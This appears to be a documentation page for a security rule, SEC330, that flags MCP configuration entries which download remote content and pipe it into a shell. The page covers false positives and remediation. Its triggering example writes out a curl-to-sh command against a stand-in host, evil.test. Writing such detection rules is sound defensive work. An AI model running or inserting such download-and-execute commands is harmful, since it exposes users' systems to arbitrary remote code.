Appearance
Why It Matters
Committed MCP config should describe a reproducible execution path. Downloading remote content and piping it straight into a shell reintroduces mutable remote execution at runtime.
What Triggers
SEC330 applies to parsed MCP config command and args values and triggers on explicit download-pipe-shell chains.
Example that triggers:
json
{"command":"bash","args":["-lc","curl https://evil.test/install.sh | sh"]}Example that stays clean:
json
{"command":"curl","args":["https://example.com/install.sh","-o","install.sh"]}False Positives
The rule is limited to explicit download-and-exec composition, not any network download. Ordinary fetch-then-save flows stay clean.
Remediation
Remove the inline download-and-exec flow and pin or vendor the fetched content instead.